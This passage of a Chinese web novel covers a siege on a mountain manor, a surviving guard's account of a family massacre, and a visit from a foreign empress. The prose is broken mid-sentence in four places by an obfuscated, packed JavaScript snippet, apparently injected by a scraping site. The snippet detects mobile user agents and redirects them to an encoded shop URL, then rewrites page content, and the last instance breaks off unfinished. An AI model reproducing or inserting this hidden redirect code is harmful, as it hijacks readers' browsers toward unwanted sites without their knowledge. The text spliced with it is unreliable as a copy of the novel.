黎书意是在稍晚一些时候得知的,当时她正在与其他女眷整理物资,中途被叫到了忠义殿,进去之后看见父兄和谢烜赫都在,接着她便被告知庞安澈已经带着大军奔陵光而来。 讨伐本就是板上钉钉的事,白榆使者来访,皇帝定然坐不住,在心里叹一句快乐安稳的日子总是短暂的,她只能揣着忐忑的心干等着敌人的到来。 虽然知道即将大祸临头,但是他们并没有弃庄而逃,因为眼下他们根本无处可去,在利刃悬在头顶的这几日里,大家积极地备战。 在弯镰山接近山顶的地方,矗立着一座石塔,塔高五层,那里的视野比之城门和瞭望台还要好,闻听大军来时,他们齐登上石塔,站在顶层的阁楼远望。 黎书意看着逐渐靠近的方阵,只见山下将士们铠甲鲜明,手持长枪,逶迤而行,宛如不可阻挡的泥流。 未正,军队兵临城下,来到铁津河畔,沟壑的阻拦让军队寸步难进,于是他们就地扎营,与山庄隔水而望。 “二十倍的兵力,可真抬举咱们。”兄长在旁开玩笑道。 这话说得含蓄,内里的意思便是皇帝抱了置他们于死地的决心。 一水之隔,庞安澈仰头看着风景秀丽,佳木葱茏的山庄,因为距离隔得远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545777|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他瞧不清楚那头的具体情况。 同为武将,他与黎横天一直存在较量,比战功比谋略,自己始终是弱势的一方,可他没想过会有两军对垒的一天。 如今大将军之位还空悬着,尽管这个位置已经是囊中之物了,但是如果能踩着昔日宿敌上位,那就再好不过了。 黄昏时分,军队彻底安营扎寨好了,只见那片平坦旷野上营帐林立,绵延伸展,似海上掀翻的白浪。 弯镰山前的河道虽然不比重要城镇的护城河宽,但是也不算很窄,水流虽然不比大江大河湍急,但现在正值春汛,水量颇大,这有效地增加了攻入山庄的难度,也不必担心缺水的问题。 不过,黎书意他们仍不能掉以轻心,毕竟已经躲入山庄好几日,肯定有人在暗中监视,尽管内部无法潜入,但外围的地形肯定早就摸清了。 果然,在稍事休息后,当夜色笼罩大地时,敌军趁着黑暗出动了,一队兵卒推出木板桥,想要跨越将近四丈宽的河道,另有一队兵卒推出投石车,试图将河道边缘部分填平。 随后,更多的敌兵依靠着木板桥向山城步步逼近,他们一边前行,一边不断地朝着城墙上射箭,那箭矢密密麻麻,恰似蝗虫过境一般。 然而,因为距离稍远,大半箭矢落入河中,仅有小半射到城墙之上和山庄内部。即便如此,因着数量众多,守城军士还是有所折损。 山下在作战,别说是安睡,黎书意连安坐也做不到,父兄和谢烜赫也不多劝她,只让她别去前线就行,她点头答应了。 在三人披挂上阵以后,她又上了午间登上的那座石塔,不止她,叔母、富春姑姑、天元姑姑、兰亭和舒凌寒也都登上了石塔,因为在前线冲锋陷阵的是他们的亲友伙伴。 夜幕降临,山庄不似都城,没有万家灯火,树木像是一块块不规则的墨团,黎书意的注意力始终放在最亮的地方,也就是城楼处。 羽箭还在不断射来,但和先前不同了,现在的是携带着火种的,它们像是流星一样绚烂,在夜空划下道道金芒,可落下的那刻就不那么美好了,烈焰迅速在身上、草木和城楼上点燃。 随着火种越投越多,视野变得清晰起来,她看到了爬上城墙的敌人,看到了滚地灭火的黎家军将士。 锋利的刀刃在火光、月光的映照下,洒下点点寒星,耳朵也难得清净,这里不宜马上作战,所以不似逃至陵光的那日,满是铁蹄声,因为离得近,金戈声和惨叫声格外清晰。 上回,她为不能亲自观战而遗憾,现在她得到了亲自观战的机会,每瞥见一个倒下的战士,她就止不住惋惜和痛心。 尽管难以看清面容,可根据铠甲和身姿,她勉强能辨认出父兄和谢烜赫来。 她的目光穿越飞溅的火花和弥漫的硝烟,紧紧锁定在远处城墙上与敌兵激烈交战的三人身上。 像她想象的那般,三人身法灵敏,配合有度,手中兵刃似被赋予了生命,攀上城楼的那些敌兵在面对他们时,如同撞上了铜墙铁壁,难进寸步。 身在局外,她能够看到局中人所不能看到的,哪怕三人身手再出众,但到底不是神仙,敌军一拥而上时难免有疏漏,来不及抵御,最终被人近了身,即便肉眼瞧不真切,她也知道必定是受伤了。 心像是串在一条长绳的尾端,被惊险的战局拽着绳头胡乱地摇摆,她一会心慌一会疼痛,尽管难熬,却始终没有挪开视线。 山间不时传来鸟兽受惊发出的尖叫,她不知道时间过了多久,只见星星之火已成燎原之势。 又看了一会,她最终下塔楼了,伤残的将士一个接一个送入临时搭建的军帐内,上不了前线,那她便在后方支援。 119. 故人 受伤的将士接连不断地被送进营帐,然后被安置在简易的木板床上,这个身中数箭,那个被刀穿体……他们蜷缩的姿态像是在蠕动的蠕虫,耳边充斥着凄厉的哀嚎。 帐子里气味也不好闻,鼻间是浓烈的血腥气和久战后的汗酸味,催得人几欲作呕。 除开几位大夫和军医,她们这些人只通晓简单的医理,能做的也只是给受轻伤的将士清洗伤口、敷药包扎,即便有十来人一起做这些事,却依旧忙不过来。 送完一个再来一批,黎书意的双手酸涩到难以活动,胃里也翻江倒海,她拼命忍耐着,她没资格抱怨,更没理由停下,因为被她包扎的这些将士还需要重返战场。 不知道忙碌了多久,晓辉取代了黑暗,金戈声也渐渐消停了,需要处理的伤患也变得少了,她终于得以解脱,舒了口气,她缓缓走出营帐。 站在帐外的那一刻,她几乎不敢相信自己的眼睛,明明才过去一晚,她却认不出这个地方了。 围墙被摧残得千疮百孔,近处的亭台楼阁受到波及,只剩下残垣断壁,茂盛的林木不是被折断,就是被焚毁,地面上布满了坑洞和烧焦的痕迹,有些地方还残留着血迹,让人触目惊心,四周乌烟瘴气,那沁人心脾的香甜空气再闻不到了。 人间仙境一下子变成了人间地狱,她忍不住心头泛酸,眼眶顿时一热。 有一群将士正朝这边走来,他们没一个人是完好的,脸上布满了血污与黑灰,身上的衣服残破不堪,有的人肩背上甚至还插着箭。 黎书意知道自己该坚强的,可是她实在控制不住自己,终究是掉下泪来。 “婠婠别哭,我们胜利了。”黎横天走到女儿面前,他想像从前哄她那样,摸一摸她的头,可手伸出去却悬在了半空,望一眼自己满手的血污,只好作罢。 黎书意也想抱一抱父亲,最终忍下了,看着那狰狞的刀口和箭伤,她怕自己的触碰会弄疼父亲。 “对,我们胜利了。”她抬手擦干眼泪,目光依次在父亲、兄长、谢烜赫和叔父等人身上划过,最后她错开一步,好让他们进去处理伤口。 当谢烜赫从身边经过时,黎书意看到他还未好妥的旧伤处又添了新伤,不禁皱起眉头,担忧地问:“痛不痛?” 伤处正传来火辣辣的痛感,如同被烈火炙烤一般,谢烜赫望着眼前哭成泪人的少女,撒谎道:“不痛。” 几个人的伤口都非黎书意能处理的,她只能在旁边干看着,看着军医用刀割掉烂肉腐肉,涂抹药膏,然后在细心包扎。 战争卯时便结束了,然而黎书意接下来却忙了一整天,熬药、照顾伤患,清理战场,直到夜深了才得以休息。 明明已经精疲力尽,可是熄灯之后,她却躺在床上转侧难眠,白日的刀光剑影不断在眼前闪现,将她的睡意冲了个精光。 才第一战就打得如此艰难,日后要如何抵抗进攻,虽然这一战敌方攻城失败了,但是他们必定会重新商量对策,增加兵力,再次进攻的。 她感觉未来就像眼前的夜色,只剩下一片黑暗。 翌日,天将破晓时黎书意便起身了,换上便于行动的衣裳,自顾自洗漱完了,她与院中的一众仆妇们快步出门了。 天彻底亮开了,整座山庄都忙碌起来,一批人加固被损坏的城墙,一批人设置陷阱,一批人整理兵械…… 黎书意这一行人也立刻行动起来,几个人负责熬药,几个人负责为伤患换药,几个人负责准备饭食…… 尽管只是一座山头罢了,但是战后重建的工作仍然十分艰巨,尤其是在人力紧缺的情况下。 又是一整天没有空闲,就连吃饭也只是随便对付一下,等天黑了黎书意拖着疲惫的身子回到院落,沐浴完便倒在床上睡着了。 第二天,做的也还是那些事,只是不比前日忙。 午饭后的那段时光是全山庄的人难得可以松懈下来的时候。 用了饭,黎书意与父兄、谢烜赫忙里偷闲,四人聚在凉亭里喝茶,享受着这片刻的轻松宁静。 刚喝了没几口,话也才聊开,就见纯钧步伐急迫地走过来,脸上流露出激动,这番异状令大家不约而同地看向他。 黎书意捏紧了杯子,真怕从他口中听到什么坏消息,她是真的承受不住了。 “主子,湛卢还活着!”纯钧满脸喜色地说。 而谢烜赫,他听后“唰”一下站起身来。 看来是好事,黎书意顿时松了口气,同时也生出好奇来,不知这湛卢是何许人也。 “你如何确定?” 说话的是父亲,黎书意闻声扭头,见他面露惊疑,看来父亲也识得此人,她心里不禁更加好奇了。 “哦,”纯钧急忙回话,“一刻钟前,守城护卫来报,说后山有两个形迹可疑的人靠近,那人自称是昭王府旧人,守城护卫不敢轻举妄动,便禀报于卑职,卑职去见了,发现是湛卢。” “他现在在哪?”谢烜赫问。 “在偏厅。” 问清地点,他向他们说了句抱歉,然后便快步离开了。 黎书意从他脚步生风的背影上挪开目光,疑惑地问父亲道:“湛卢是谁?” “长恭的贴身侍卫。” 她闻言讶然,据她所知,昭王府一家二百余口人在那夜被屠戮殆尽,这侍卫到底是他人假扮的,还是漏网之鱼呢? 谢烜赫精通易容术,对自己父王的贴身侍卫又十分了解,若是假的定然瞒不过他,这么想着她放下心来。 下一刻,思绪转到别处,她开始想他们会面之后的场景,若这湛卢是真的,那么他便是那场灭门惨案的唯一目睹者,他知道当晚发生了什么。 谢烜赫当时在孟章,遭难的尽管是他的家人,但是他和其他人一样,获得的消息是来自别人的直言片语,也不知道他能不能撑得住,于是她又开始担忧了。 …… 谢烜赫一路行步如飞,终于来到偏厅,走至门口,他脚步一下子顿住了,他既怕里面的人是假的,又怕是真的。 踟蹰良久,他终于迈步,尽管心会痛,但是他必须了解那一晚究竟发生了什么,调整好呼吸,他抬脚跨入房中。 矮榻一侧,坐着一个三十多岁的男子,生得广额阔面,剑眉虎目,从面容上看,正是父王的侍卫。 看着记忆里的旧人,谢烜赫的心像是被刀剜了一样,生出一股尖锐的疼痛,令他呼吸不由一窒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545778|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻上男子已经下榻朝他走来,他急忙收敛了神色,抚平心绪,重又迈步朝前走去。 “卑职见过少主人。”湛卢恭敬地施了一礼,礼毕,他半直起身子微仰着头。 盯着主人看是无礼的,然而长久未见,又被坠崖的传闻困了太久,此刻的他顾不得许多,只想将面前的少年看个仔细。 一年多未见,少主人的面容更加英朗了,气质也更加成熟了,已然成为独当一面的好男儿,他心里既骄傲又疼惜。 谢烜赫没有计较这直白的目光,因为他同样也在观察对面的人,五官、皮肤和神情一点都没放过,所以他可以确信,这人确是湛卢无疑。 压抑着心里的激动,他装作若无其事,越过面前的人在榻上坐下。 坐下以后,他的目光继续在湛卢身上游弋,尽管身份是确定了,但他依旧没有掉以轻心,一年多未见,忽然在这个时候来访,多半有阴谋。 静静审视了一会,他开口问:“这一年你都在何处?” 湛卢如实相告道:“禀少主人,卑职在丹宵。” 丹宵,躲在那里确实比西景要安全太多,只是作为唯一的生还者,他却未曾想办法与祈安阁联系。 虽说事发后为了安全起见,他将阁中的据点全部替换了地方,但若是想通消息,依靠独有的朱雀标记不是不能找到线索的,只是需要花些工夫罢了。 “为何突然回来?” “听闻少主人还活着便赶回来了。” “我身份暴露已有月余,从丹宵到这里半月足矣。”说毕,谢烜赫看着湛卢,等待着他的解释。 湛卢清楚自己突然出现,少主人不可能不戒备,不过他并不担忧,抬脚上前两步,他从怀里掏出一封信。 因保存了一年多,信已经起皱发黄了,他一面奉上书信,一面说道:“卑职知道自己形迹可疑,但绝无半分背叛之心,少主人阅完信便可知。” 谢烜赫垂目看着递到手边的信,信封上什么都没有,滞了一瞬,他最终伸手接过,然后拆开信封抽出了信纸。 信一展开,入目的是大气的草书,从字形和书写的习惯推断,可以断定这字确为母妃所书,大约是时间仓促,比平时更狂放些。 「吾儿,当你看到这封信时,母妃可能已经不在人世了,很抱歉,没能看着你功成名就,娶妻生子……」 才读了个开头,谢烜赫胸口便狠狠一抽,疼到喘不过气来,他咬紧牙关,忍住内心的痛苦,继续往下看。 「母妃知道,你一直对母妃有怨言,在母妃心里你始终是最优秀的,之所以不喜你锋芒太露,实在是事出有因,其实我和你父王向你隐藏了一个巨大的秘密,这个秘密我们原本打算一直瞒下去的,如今出了这样的事,也该告诉你了,吾儿,母妃并非寻常商妇,而是丹宵二公主百里好……」 谢烜赫难以置信地盯着刚读到的两句话,眼里满是愕然,心里有一种荒谬感。 他又回看了一遍,确认并非自己眼睛昏花,终于接受了这个事实,然后继续往下读。 「母妃已经写信向皇姐解释了一切,若你能从这场无妄之灾里挣脱,便去丹霄吧,皇姐定会护你周全的,愿你一生平安,万事顺意。」 120. 内情 从递出信之后,湛卢便安静地站在一旁,信是王妃留给少主人的家信,他不曾拆阅过,不过他能猜出大概的内容。 见一向处变不惊的少主人脸上表情崩裂,知他已经阅完,湛卢便径自叙述起来:“那日,事情发生得毫无预兆,当时王爷正在书房看书,监察御史韩俊和折冲都尉吕昇带着数千军卒上府,说是有人举报王爷意图谋反,并且已经在西郊别苑里挖出了五百件盔甲,他们无视王爷的解释与抵抗,强硬地径直入内搜查,最后在某本书里找到一封与乌金起义军首领来往的书信,信上,王宁说镇压大军来势汹汹,乌金局势紧张,要王爷给出下一步指示……” “王爷否认与王宁有联系,指出这信是有心之人的栽赃,可吕昇却咄咄逼人,说是证据确凿,让王爷不要负隅顽抗,旋即便让手下动手拿人,卑职和另几个亲卫见状便拦在王爷身前,那边却是不管不顾,直接上手了,有几人最终被上前的军卒所伤,王府中的其他侍卫不堪受辱,便一个个提剑加入,那边的军卒们紧跟着也动手了,整个王府顿时乱作一团。” “在王爷、府中侍卫和搜查的军卒们打开的时候,王妃出来了,她一脸无畏地走向混战的人群,卑职看见后便立刻迎上前去,想劝她找个地方躲起来,她却悄悄塞给卑职两封信和一块玉佩,然后低声对卑职说,让我去丹宵,去找丹霄皇帝,卑职望着手里的信和玉佩心中满是疑惑,恍神间,见一个小卒持剑朝王妃而去,卑职立刻回神,想要阻拦,却见王妃从地上捡起一柄剑,一招便解决了那个小卒。” 无论回想多少次,湛卢依旧会被当时的场景给震惊到,在那个小卒倒地之后,王妃一路持剑拼杀,她出手利落,连眼睛都不眨一下,一直杀到了王爷身边,然后两人并肩作战。 那一刻,湛卢彻底愣住了,他想不到眼里那个手无缚鸡之力的王妃剑术竟然如此高超,直到眼睛里闪过寒光,他才终于回神,杀了准备偷袭自己的军卒。 他一面回顾,一面告知少主人那夜的情况:“在府中侍卫和军卒们打了一会后,王妃命令我脱战,要我按她的吩咐行事,王爷也同意了,于是我只好遵令,一边拼杀一边趁乱逃跑,我知道王妃和王爷是为了救少主人您,所以逃离王府后,我便马不停蹄地赶往丹宵了。” “因着王府出事了,陵光的盘查格外严密,我偷偷藏在一个送葬队伍的棺椁之中,才得以逃出城去,出城之后我便走最近的路线去丹霄,可到了丹霄,每过关口也总遇盘查,我一路躲躲藏藏,花了两个月才终于赶到伊洛,这期间我得知了少主人坠崖的消息,我不愿相信,便继续着王妃交给我的使命。” “只是寻常百姓实在难见天颜,我在城里待了三个月,仍然寻不到一丝机会,为此我只好改变策略,费尽心思弄了个假身份,去参加十二卫府的选拔,最后成了一名右监门府的门卫。” “然而,即便是在宫中,要见皇帝一面也不容易,毕竟作为新人,所守的都是一些皇帝不常走动的偏门,我努力表现,两月后被领头的派去更里面的宫门当差,这才终于寻到机会将玉佩和信递给了皇帝。” 湛卢回忆着当时的情景,那日是一个寻常的日子,他正在为如何更快地接近皇帝而烦恼,突然听到不远处传来不小的动静,抬眼一看,竟然是皇帝与皇夫的仪仗队,原来皇帝昨夜梦见了先皇后,醒来便决定到大福殿烧香。 他见时机正好,待皇帝烧香拜佛结束返程路过宫门时,一个箭步冲上前去,拦住了皇帝的去路,抱拳说有事禀报,接着便递出了玉佩。 皇帝见玉佩大惊,问他玉佩从何而来,他说是他家夫人给的,皇帝问他他家夫人是谁,他说是西景昭王妃,同时从怀里掏出一块帕子来。 毕竟是与皇帝打交道,因为担心碰面时拿不出足够的凭证,会被当作刺客或是卧底给直接处置了,所以玉佩和信自进宫以后他每日都放在身上,玉佩还好,可是信容易折损,他只得用帕子包着。 见皇帝冷目灼灼地盯着他,他立马将帕子打开,拿出里头的信,再双手递上,皇帝盯着信看了一会,又抬头打量了他许久,这才终于拿过信,拆开封口阅起来。 “皇帝看完信,相信了我的话,然而王爷王妃已经牺牲,又不知少主人是生是死,也只能蹙眉叹息。” “这之后,皇帝派出探子在西景暗访,直到两月前,有探子回报说梁甫造反了,他的那些不为人知的恶行也因此被披露,而这些恶行竟然与一本叫《陈冤录》的话本里的丞相所为极其相似,并且探子还说,书里面的明王府与昭王府的经历也如出一辙,我心里头顿时有了计较,没过多久,民间开始有昭王是被梁丞相构陷的传闻,我便知道少主人果真还活着。” “于是我让探子顺着《陈冤录》这条线展开调查,可刚查到这事与将军府有关,黎二姑娘身边的侍卫应当是您的时候,然而还未来得及展开行动,便发生了黎大将军的一双儿女抗旨闯城的事,由于少主人从孟章逃出以后行迹不定,探子们根本无法短期内与您取得联系。” “直到六天前,获悉少主人回金错山庄落脚,我便向皇帝请示,然后带了一队精锐前来,赶至半途,得知景帝派中央军来攻山,特意加快了脚程,然而还是迟了,今晨才赶到。” 整个过程,谢烜赫极为安静,受母妃所告知秘密的冲击,他本就浑浑噩噩的,等稍微镇定下来,听见湛卢开始叙述那日的经过,他便认真地倾听。 听到父王被诬陷抓捕时的愤怒,听到母妃提剑拼杀时的惊讶,听到父王母妃并肩作战时的痛苦,他心里像是打翻了五味瓶,各种滋味混在一起,难受极了。 “时候不早了,你去休息吧。”此刻,他的脑子很乱,不知道该说什么,最后便只说了这么一句。 说完,他朝外面喊了纯钧一声,吩咐他带湛卢去客房安歇。 等室内彻底归于平静,他便沉溺在自己的思绪里,想着刚刚所听到的一切。 …… 连营膳房里,因为湛卢的突然出现,破坏了黎家一家三口的平静心情,一整个下午他们都兴致缺缺的,每个人都牵挂着谢烜赫那头的情况,然而直到用晚饭了,依旧没瞧见他的身影。 一家人用完饭,他们离开膳房散着步走回去,半路上碰见纯钧,问后得知他刚送湛卢去客房休息。 黎书意担心谢烜赫的情况,忍不住多问了一句:“你家主子呢?” 纯钧叹了一口气,回道:“从与湛卢说完话,就没出来过。” “这种事是个人都难以承受,让他一个人静静也好。”黎横天感慨。 “是啊。”黎长策附和。 两边就此别过,一家三口继续往前走。 刚走没几步,黎书意忽地停下脚步,见父兄奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545779|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪地看着她,她开口说道:“我去看看他。” 言罢,也不等两人回答,就转头走了。 想着谢烜赫还未用饭,她先折去膳房,让伙计热好饭菜,然后提着食盒往谢烜赫院里走。 到院中,见纯钧立在房门口。 “见过黎二姑娘,”纯钧向她施礼,接着又道,“主子还在里面。” 她点头,踏上台阶,走到门口轻扣门扉,对着里头道:“是我。” 她想,若是谢烜赫实在不愿多说那便算了,但至少得劝人把饭给吃了。 正欲开口,门内传来暗哑的声音:“进来吧。” 闻言,她面上一喜。 纯钧替她推开房门,她抬着饭菜进屋,到了屋里,见谢烜赫坐在榻上愣神,他面色苍白,眼神迷离,心情十分低落的样子。 将饭菜搁到案上,她向谢烜赫走去,“晚饭我替你端来了,不管怎样,你多少吃一些。” 说毕,听见榻上的人若有似无的“嗯”了一声。 不知道该如何劝,问多了怕引起伤感,她站在原地踟蹰,半晌,她转过身去,想着等他消化好了再谈。 哪知刚踏出一步,手却被拉住了,她回身过去,下一刻腰也被环住,谢烜赫将头埋在她怀里,脆弱的像个孩子。 看着怀里的人,黎书意愣了一息,旋即她抬起手摸了摸谢烜赫的头,柔声道:“别难过了。” 腹部传来断断续续的热气,只听见谢烜赫道:“记得五岁以前,母妃同我很亲,后来她跌了一跤,病好之后忽然性情大变,不再像从前那般亲近我夸赞我。” 听到他说起小时候,黎书意猜测他大约是想父母了,此时她只需要当个安静地听众就好,便没有多言。 “当时我不明白原由,只以为是自己做得不够好,为了让母妃像从前那样喜欢我,我在课业上很用功,然而于事无补。” 谢烜赫记得每次自己把字帖和诗文拿到母妃手边邀功的场景,母妃阅过以后总是露出一副复杂的表情,并不表扬他。 后来,他年纪大了,明白母妃复杂表情背后的含义,她是怕他锋芒太露,容易招来祸害,身为宗室子弟,他不能比皇帝的孩子优秀。 对此,他十分不满,他从未想过要争夺什么,为何要因为别人比不过,就要藏拙呢。 “现在我明白了,母妃定然是摔跤后恢复了记忆,得知了自己是丹霄的二公主,她意识到一个拥有两国皇室血脉的宗室子弟会有多危险,尤其父亲本就受皇帝忌惮。” 什么?!黎书意的双眼陡然睁大,昭王妃竟然是丹宵二公主,那个驰骋疆场的女将军百里好,她怀疑自己听错了…… 她没有开口向谢烜赫求证,而是快速在脑海里搜索出那为数不多的几次见面的场景,以及从前在坊间听到的关于王妃的传闻。 记忆里的王妃出行时总是带着帷帽,她一直以为王妃只是像寻常贵族女子一样,不喜欢他人的注视,现在细想来,却是说不通的。 王妃出身商户,同王爷成亲以前她走南闯北,与养母辛清莹经营绸缎生意,日日抛头露面的,根本就不在乎这个,而王爷也不是会以此束缚王妃的人。 所以,真相应该是怕有人认出自己吧……尽管满腹好奇,黎书意没有多问,等谢烜赫倾吐完了,看他面色好了一些,于是她便劝他用饭。 121. 使者 陪谢烜赫用完饭,黎书意从房里退出来,明明是进去安慰人的,结果离开时自己却恍恍惚惚的。 走在路上,她一边迈步一边消化着刚才得知的惊天秘密。天已经黑了,想了想,她拐进父兄所居的院落,打算向父亲请了安,便回房睡觉。 进入正厅,见父兄对坐在榻上,两人正在聊下一步的防守部署,看她来了,父亲抬头问:“他如何了?” “还好。” 兄长亦朝她看来,然后皱了一下眉头道:“怎么劝人反把自己给劝出问题了?” “唉……”还真是,她叹气。 或许是因为她不寻常的反应,两人便抛下了在谈的事情,静静地注视着她。 “发生了何事?”望着满怀心事的小妹,黎长策好奇地问。 与谢烜赫相交多年,他深知好友的性格,听别人讲述父母之死确实令人难以承受,但是这件事的缘由毕竟早已经知晓了,这番不食不语的表现,实在有些反常。 看着父兄关心的目光,黎书意陷入了纠结,思索着自己能不能说,刚刚谢烜赫对她毫无保留,想来这件事应该也会告知父兄的,但毕竟是那样的大事,还是由他亲自说比较好。 踟躇片刻,她回道:“是有,不过还是等明天你们自己问他吧。” “好吧……”黎长策闻言无奈地点头,看来还是大事。 见兄长未再坚持追问,黎书意松了口气,她转向父亲,打算问了安就走,话到嘴边,在触及父亲的眼神时噎住了,只见父亲正定定望着她,脸上带着浅浅笑意。 几乎是一瞬间,她便猜到他为何是这副神情了,自己今晚表现得对谢烜赫过于关心了。 果然,下一刻,父亲试探着开口问她:“婠婠,你和谢烜赫……” 闻言,她将头埋低了些,此刻的她要比接受兄长询问时更加难为情。 “你……真打算和他在一起?” 听父亲声音里多有顾虑,她抬头反问:“父亲不是很喜欢他吗?” “为父是喜欢他,可从前他是世子,现在却……” 黎书意沉默了,她明白父亲的担忧,可是他们已经确定心意了,这谢烜赫既没有背叛她,又无甚错处,反而情深意重,处处周到,要割舍,她实在做不到。 半晌,耳边传来一声长叹,父亲无奈地说:“罢了,他也算是一往情深,你既喜欢,为父还能说什么呢。” 闻听此言,黎书意的眼睛陡然睁大,不止是因为得到了许可,更因为话里的“一往情深”,她陷入沉思,莫不是父亲也看出来谢烜赫对她的感情了。 从父亲开始询问小妹与谢烜赫的关系时,黎长策便在一旁观望,此刻见小妹满脸惊讶,他忍不住露出笑意,摇了摇头在心里叹息,所有人都知道,就她不知道。 忽然,他起了调侃的心思,于是放下茶盏,插话道:“不然你以为父亲为何让他护你。” 黎书意将视线移到自家兄长身上,瞳孔放得更大,嘴巴微微张着,彻底愣了。 这时,又听父亲说:“唉……当初想着他倾慕于你,定会在我和你兄长不在孟章的情况下保护好你,不成想你竟然对他生情了。” 这意思也就是说父亲早看出谢烜赫对她有意,并且利用这份情谊拜托他照看她,因为知道她是讨厌他的,所以未曾设防,结果她却喜欢上谢烜赫了。 好吧,是她自制力薄弱了。 扫一眼面前的两人,见他们皆是一脸调侃,少女心事被窥破,此刻她羞耻到了极点,再待不下去,留下一句“时间不早了,女儿先回房了”,然后便匆忙转身离开了。 从屋里出来,黎书意站在门口松肩舒气,搞得侍立一旁的沥泉奇怪地瞥她一眼,她迈步继续往外走。 回屋的路上,想到父亲的话,她懊恼极了,感觉自己就是一个盲人,都怪小时候的印象和再见时的不愉快经历蒙蔽了她的双眼,不然她也不至于迟钝到察觉不出来。 隔天,黎书意继续在演武场外侧的连营里忙碌,忙到中午她打算回房小憩一下,途中与父兄相遇了。 路合一处后,一家三口自然而然就昨日遗留下来的话题续聊起来。 “唉……”黎长策叹息一声,他不是一个大惊小怪的人,可直到现在也还是觉得难以置信,便转向小妹道,“那般大的事,难怪昨晚你不肯说。” “是啊,真是没想到啊……”黎横天也叹一句。 见不是自己独揣着秘密了,黎书意也就不再憋着了,知道父亲偶尔往来陵光,与王妃算是相熟的,她好奇地问:“父亲与二公主同为武将,之前就没有在战场上遇见过吗?” “没有。”黎横天摇头,随即解释道,“近二十年来丹宵和西景并未发生大规模的战争,虽有过几次小摩擦,但并非是为父出征,所以从未与百里将军在战场上遭遇过。” 三人就此话题略聊了两句,到了岔路口便分道而行了。 对于这个新发现,黎书意是看好的,她想着以谢烜赫与丹宵皇室的这层亲缘关系,他们或可借兵,或可借钱粮,这样便能解了山庄的燃眉之急,那么谋反也不是不能成事。 带着这样的美好希冀,这一天她的心情比前两日要畅快了许多。 次日,替将士们换过药以后,她到军帐外去透气,无意间撞见谢烜赫与湛卢匆匆往后山方向去了,她不免有些好奇,于是就待在原地远观,想看看他们在干什么。 候了盏茶功夫,一队人马映入眼帘,除了谢烜赫和湛卢以外,还另有十余人,看装束似乎是丹霄人,所以是和湛卢一同来访的使团吗? 黎书意将目光放在谢烜赫所招呼的人身上,那是一名上了年纪的女子,她身量很高,头上绾着圆髻,身穿月白色锦袍,面白如玉,五官周正精致,步态从容稳健,举手投足间贵气天成。 真是一位英姿飒爽的女使官,不知丹霄的女子是否都这样,黎书意不禁心生敬仰和向往。 正在感叹,听见一阵轻盈的脚步声,惊觉有人走过来,她侧头一看,见是兄长,他也正在看下面的那群人。 黎书意便随口问:“你说他们会谈什么呢?” “不知。”黎长策摇头。 这当口,那群人已经踏着台阶往上行,然后拐进了谢烜赫的院落里。 出于对事态的关心,兄妹两人也紧随其后朝那边走去,他们没有追进院去,只在外面的凉亭里等待。 谢烜赫一行人进入院落后,湛卢和丹宵的另外几名侍卫便留在院中把守。 谢烜赫带着贵客步入正厅,纯钧立时奉上热茶,旋即又悄然退下,将门轻合上后,他与其他人一起站在门外。 屋内,两位陌生人相对而立,有一瞬的静默无言,只余彼此轻浅的呼吸声。 接着,谢烜赫打破沉默,抬手道:“请坐。” 贵客神色自若地坐下,再将头抬起,直视眼前的少年开口说:“按道理,你该唤我一声姑母的。” 少年未应。 丹宵皇帝并未在意,对于一个隔了将近十八年才得知的亲人,一时叫不出口也属正常,她端坐在榻上,双目毫不避讳地打量着面前站立的人,仿佛她才是这里的主人。 良久,她浅笑一声道:“面容与阿好有六成相似,确实如外界传言一样丰姿隽爽,朗然照人。” 谢烜赫沉默无言,任由女人打量自己。 “坐下吧。”丹宵皇帝审视完,手微微往侧旁一抬。 谢烜赫应声坐下。 “阿好是二十一年前在与白榆交战途中失踪的,得知她失踪后我便立即派人寻找,然而寻遍战场方圆百余里,仍然寻不到踪迹,这样寻了五六年,后面便慢慢放弃了,想着她可能早就战死沙场,尸骨无存了,没成想竟然在二十一年后收到了她的来信,只是接到信的时候已经阴阳相隔了……” 说起命运多舛的胞妹,见惯了生死的丹霄皇帝心里也是一阵伤感,顿了几息,她转头看向胞妹的遗子,“她派人千里迢迢送信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 